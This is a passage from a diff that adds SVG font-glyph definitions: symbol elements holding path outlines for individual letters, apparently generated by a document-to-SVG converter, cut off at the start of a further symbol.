+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
